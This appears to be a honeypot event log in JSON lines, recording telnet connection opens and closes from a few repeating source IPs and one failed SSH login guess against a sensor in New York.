{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:42.032958Z","src_ip":"80.94.92.184","session":"6d002a0338f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":52424,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0002f35c4d7","protocol":"telnet","message":"New connection: 154.53.41.252:52424 (159.203.135.109:23) [session: b0002f35c4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:42.612233Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":38656,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f85e6c1a36c","protocol":"telnet","message":"New connection: 80.65.211.42:38656 (159.203.135.109:23) [session: 1f85e6c1a36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:42.955532Z"}
{"eventid":"cowrie.session.closed","duration":30.356177806854248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:43.044006Z","src_ip":"154.53.41.252","session":"b64ede27322a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:43.489616Z","src_ip":"80.94.92.184","session":"6d002a0338f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":42798,"dst_ip":"159.203.135.109","dst_port":23,"session":"72160e8034b2","protocol":"telnet","message":"New connection: 206.130.127.38:42798 (159.203.135.109:23) [session: 72160e8034b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:43.695393Z"}
{"eventid":"cowrie.session.closed","duration":31.711724281311035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:43.859807Z","src_ip":"154.53.41.252","session":"4a7491ad7419","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":43134,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c25238fde63","protocol":"telnet","message":"New connection: 206.130.127.38:43134 (159.203.135.109:23) [session: 0c25238fde63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:43.890842Z"}
{"eventid":"cowrie.session.closed","duration":30.5470974445343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:44.035205Z","src_ip":"154.53.41.252","session":"d51a79ee7ab0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23056674003601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:44.133882Z","src_ip":"206.130.127.38","session":"07e93c8145f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599246501922607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:44.386125Z","src_ip":"206.130.127.38","session":"dd26dca910e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":54490,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bd4b6d34c6f","protocol":"telnet","message":"New connection: 154.53.41.252:54490 (159.203.135.109:23) [session: 7bd4b6d34c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:44.394276Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":54546,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2920515b301","protocol":"telnet","message":"New connection: 154.53.41.252:54546 (159.203.135.109:23) [session: a2920515b301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:44.418962Z"}
{"eventid":"cowrie.session.closed","duration":31.296446323394775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:44.789238Z","src_ip":"45.95.113.26","session":"798d1b8a7dfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56416964530945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:45.038062Z","src_ip":"154.53.41.252","session":"0ba684a6a89d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":55504,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae8d448ee294","protocol":"telnet","message":"New connection: 154.53.41.252:55504 (159.203.135.109:23) [session: ae8d448ee294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:45.133521Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":45038,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e39b8d5752a","protocol":"telnet","message":"New connection: 206.130.127.38:45038 (159.203.135.109:23) [session: 1e39b8d5752a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:45.711595Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":46136,"dst_ip":"159.203.135.109","dst_port":23,"session":"118dfbdf3325","protocol":"telnet","message":"New connection: 206.130.127.38:46136 (159.203.135.109:23) [session: 118dfbdf3325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:46.652110Z"}
{"eventid":"cowrie.session.closed","duration":31.166397094726562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:46.715879Z","src_ip":"103.211.218.218","session":"0f808650dc6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":57864,"dst_ip":"159.203.135.109","dst_port":23,"session":"7849c8a9f65a","protocol":"telnet","message":"New connection: 154.53.41.252:57864 (159.203.135.109:23) [session: 7849c8a9f65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:46.858836Z"}
{"eventid":"cowrie.session.closed","duration":30.913533449172974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:47.031460Z","src_ip":"154.53.41.252","session":"3db6cdca5692","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.168968439102173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:47.038083Z","src_ip":"154.53.41.252","session":"a64ceb5f747f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86594867706299,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:47.057390Z","src_ip":"154.53.41.252","session":"7977d98016a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87387442588806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:47.326406Z","src_ip":"206.130.127.38","session":"71f7e174d166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":34592,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d457b3be5ec","protocol":"telnet","message":"New connection: 103.211.218.218:34592 (159.203.135.109:23) [session: 0d457b3be5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:47.481667Z"}
{"eventid":"cowrie.session.closed","duration":31.353694915771484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:47.672493Z","src_ip":"154.53.41.252","session":"7eccd1a74800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":59030,"dst_ip":"159.203.135.109","dst_port":23,"session":"b13dbbda5f3d","protocol":"telnet","message":"New connection: 154.53.41.252:59030 (159.203.135.109:23) [session: b13dbbda5f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:47.689739Z"}
{"eventid":"cowrie.session.closed","duration":31.55387020111084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:47.835140Z","src_ip":"80.65.211.42","session":"d4ab3045ecfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":54808,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab665ee9efa1","protocol":"telnet","message":"New connection: 45.95.113.26:54808 (159.203.135.109:23) [session: ab665ee9efa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:47.984456Z"}
{"eventid":"cowrie.session.closed","duration":30.599486351013184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:48.038702Z","src_ip":"154.53.41.252","session":"5ae3960d5618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46249771118164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:48.191450Z","src_ip":"103.211.218.218","session":"fec506fa4150","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.084282636642456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:49.051348Z","src_ip":"206.130.127.38","session":"fee89dab0d66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791940689086914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:49.120880Z","src_ip":"154.53.41.252","session":"bc2e64f5616a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":33794,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf140490c86a","protocol":"telnet","message":"New connection: 154.53.41.252:33794 (159.203.135.109:23) [session: bf140490c86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:49.857800Z"}
{"eventid":"cowrie.session.closed","duration":30.586714029312134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:50.083228Z","src_ip":"154.53.41.252","session":"befa23fe2690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":34746,"dst_ip":"159.203.135.109","dst_port":23,"session":"45f8e301e589","protocol":"telnet","message":"New connection: 154.53.41.252:34746 (159.203.135.109:23) [session: 45f8e301e589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:50.535184Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":35282,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cc16fc319ae","protocol":"telnet","message":"New connection: 154.53.41.252:35282 (159.203.135.109:23) [session: 3cc16fc319ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:50.909496Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":35838,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c53c6dd7437","protocol":"telnet","message":"New connection: 154.53.41.252:35838 (159.203.135.109:23) [session: 0c53c6dd7437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:51.321760Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":36338,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a700fa36006","protocol":"telnet","message":"New connection: 154.53.41.252:36338 (159.203.135.109:23) [session: 4a700fa36006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:51.675606Z"}
{"eventid":"cowrie.session.closed","duration":33.71317744255066,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:52.817149Z","src_ip":"80.65.211.42","session":"83c282db29f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":38520,"dst_ip":"159.203.135.109","dst_port":23,"session":"daeeb7560ccf","protocol":"telnet","message":"New connection: 154.53.41.252:38520 (159.203.135.109:23) [session: daeeb7560ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:53.117041Z"}
{"eventid":"cowrie.session.closed","duration":30.687243700027466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:54.499171Z","src_ip":"154.53.41.252","session":"e806c307645c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.558640718460083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:55.840043Z","src_ip":"154.53.41.252","session":"829de81bc606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53124189376831,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:56.069643Z","src_ip":"154.53.41.252","session":"b25eb66205ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906606197357178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:56.636904Z","src_ip":"154.53.41.252","session":"ca4a79c76d19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":43962,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6b76d0402df","protocol":"telnet","message":"New connection: 154.53.41.252:43962 (159.203.135.109:23) [session: e6b76d0402df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:57.013236Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":37810,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfe75d503c5e","protocol":"telnet","message":"New connection: 103.211.218.218:37810 (159.203.135.109:23) [session: bfe75d503c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:57.408725Z"}
{"eventid":"cowrie.session.closed","duration":30.875300407409668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:58.067814Z","src_ip":"154.53.41.252","session":"6e10e1d82294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.817485094070435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:58.090254Z","src_ip":"154.53.41.252","session":"c0e344e65a6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87296199798584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:58.115498Z","src_ip":"154.53.41.252","session":"8ba60f783fb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":60274,"dst_ip":"159.203.135.109","dst_port":23,"session":"483ed4936372","protocol":"telnet","message":"New connection: 206.130.127.38:60274 (159.203.135.109:23) [session: 483ed4936372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:58.676079Z"}
{"eventid":"cowrie.session.closed","duration":30.908823251724243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:00.148302Z","src_ip":"154.53.41.252","session":"0747c7186078","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.367845058441162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:00.746717Z","src_ip":"103.211.218.218","session":"b67a55080f27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731501579284668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:01.026428Z","src_ip":"154.53.41.252","session":"931336d67dff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36751914024353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:01.224303Z","src_ip":"154.53.41.252","session":"76d40660ac54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":56512,"dst_ip":"159.203.135.109","dst_port":23,"session":"dadf53e0d196","protocol":"telnet","message":"New connection: 45.95.113.26:56512 (159.203.135.109:23) [session: dadf53e0d196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:01.962196Z"}
{"eventid":"cowrie.session.closed","duration":30.524327516555786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:03.236368Z","src_ip":"154.53.41.252","session":"604e5c289f86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795613050460815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:03.241377Z","src_ip":"154.53.41.252","session":"73554cadb0a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86884570121765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:04.014190Z","src_ip":"154.53.41.252","session":"511e383fe2be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9276340007782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:04.568335Z","src_ip":"154.53.41.252","session":"75a7c9063a8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":54784,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ff7dcda00ea","protocol":"telnet","message":"New connection: 154.53.41.252:54784 (159.203.135.109:23) [session: 4ff7dcda00ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:05.103933Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":55312,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5bbc026ecfc","protocol":"telnet","message":"New connection: 154.53.41.252:55312 (159.203.135.109:23) [session: a5bbc026ecfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:05.381144Z"}
{"eventid":"cowrie.session.closed","duration":30.857311010360718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:05.437988Z","src_ip":"154.53.41.252","session":"19f919c69387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":41224,"dst_ip":"159.203.135.109","dst_port":23,"session":"e460f20cbb77","protocol":"telnet","message":"New connection: 103.211.218.218:41224 (159.203.135.109:23) [session: e460f20cbb77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:05.948182Z"}
{"eventid":"cowrie.session.closed","duration":30.25113034248352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:06.101886Z","src_ip":"154.53.41.252","session":"7c2cecc7c31e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931636571884155,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:07.163986Z","src_ip":"154.53.41.252","session":"d9c1246b9c04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":58130,"dst_ip":"159.203.135.109","dst_port":23,"session":"1518aeecba70","protocol":"telnet","message":"New connection: 154.53.41.252:58130 (159.203.135.109:23) [session: 1518aeecba70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:07.347588Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":58468,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f244df06c65","protocol":"telnet","message":"New connection: 154.53.41.252:58468 (159.203.135.109:23) [session: 4f244df06c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:07.530545Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":59238,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8f1ec60429b","protocol":"telnet","message":"New connection: 154.53.41.252:59238 (159.203.135.109:23) [session: f8f1ec60429b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:08.093173Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":59362,"dst_ip":"159.203.135.109","dst_port":23,"session":"87c33e5571c3","protocol":"telnet","message":"New connection: 154.53.41.252:59362 (159.203.135.109:23) [session: 87c33e5571c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:08.174501Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":42606,"dst_ip":"159.203.135.109","dst_port":23,"session":"98b4d8c24368","protocol":"telnet","message":"New connection: 206.130.127.38:42606 (159.203.135.109:23) [session: 98b4d8c24368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:08.179340Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":34140,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb3e43b0f75e","protocol":"telnet","message":"New connection: 154.53.41.252:34140 (159.203.135.109:23) [session: fb3e43b0f75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:09.984114Z"}
{"eventid":"cowrie.session.closed","duration":30.82381319999695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:10.111373Z","src_ip":"45.95.113.26","session":"070de390432c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.229692935943604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:10.174570Z","src_ip":"154.53.41.252","session":"e1bd44cdef88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853646993637085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:10.243888Z","src_ip":"154.53.41.252","session":"23fc2f0da6f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.258445978164673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:10.385030Z","src_ip":"154.53.41.252","session":"f717d46b5259","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":34840,"dst_ip":"159.203.135.109","dst_port":23,"session":"02df3060b24d","protocol":"telnet","message":"New connection: 154.53.41.252:34840 (159.203.135.109:23) [session: 02df3060b24d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:10.441485Z"}
{"eventid":"cowrie.session.closed","duration":30.703389883041382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:11.041635Z","src_ip":"206.130.127.38","session":"3e94ec5ce47b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955224752426147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:11.120787Z","src_ip":"154.53.41.252","session":"b419a476bde4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.635725498199463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:11.198155Z","src_ip":"45.95.113.26","session":"7f7f0720fbfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":36396,"dst_ip":"159.203.135.109","dst_port":23,"session":"eedb10f9e952","protocol":"telnet","message":"New connection: 154.53.41.252:36396 (159.203.135.109:23) [session: eedb10f9e952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:11.549971Z"}
{"eventid":"cowrie.session.closed","duration":30.47671627998352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:13.088774Z","src_ip":"154.53.41.252","session":"b0002f35c4d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":38906,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd2444367c6b","protocol":"telnet","message":"New connection: 154.53.41.252:38906 (159.203.135.109:23) [session: cd2444367c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:13.248509Z"}
